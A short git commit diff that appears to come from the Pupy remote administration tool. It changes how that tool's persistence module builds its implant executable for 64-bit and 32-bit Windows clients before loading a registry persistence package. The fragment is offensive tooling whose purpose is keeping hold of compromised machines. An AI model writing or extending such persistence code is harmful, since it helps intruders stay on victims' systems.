This commit is contained in:
n1nj4sec 2016-01-06 18:08:07 +01:00
parent a3631f1267
commit f3170e80c1
1 changed files with 2 additions and 2 deletions

View File

@ -46,9 +46,9 @@ class PersistenceModule(PupyModule):
#generating exe #generating exe
self.info("generating exe ...") self.info("generating exe ...")
if self.client.desc['proc_arch']=="64bit": if self.client.desc['proc_arch']=="64bit":
exebuff=pupygen.get_edit_pupyx64_exe(host, port, self.client.pupsrv.transport) exebuff=pupygen.get_edit_pupyx64_exe(self.client.get_conf())
else: else:
exebuff=pupygen.get_edit_pupyx86_exe(host, port, self.client.pupsrv.transport) exebuff=pupygen.get_edit_pupyx86_exe(self.client.get_conf())
if args.method=="registry": if args.method=="registry":
self.client.load_package("pupwinutils.persistence") self.client.load_package("pupwinutils.persistence")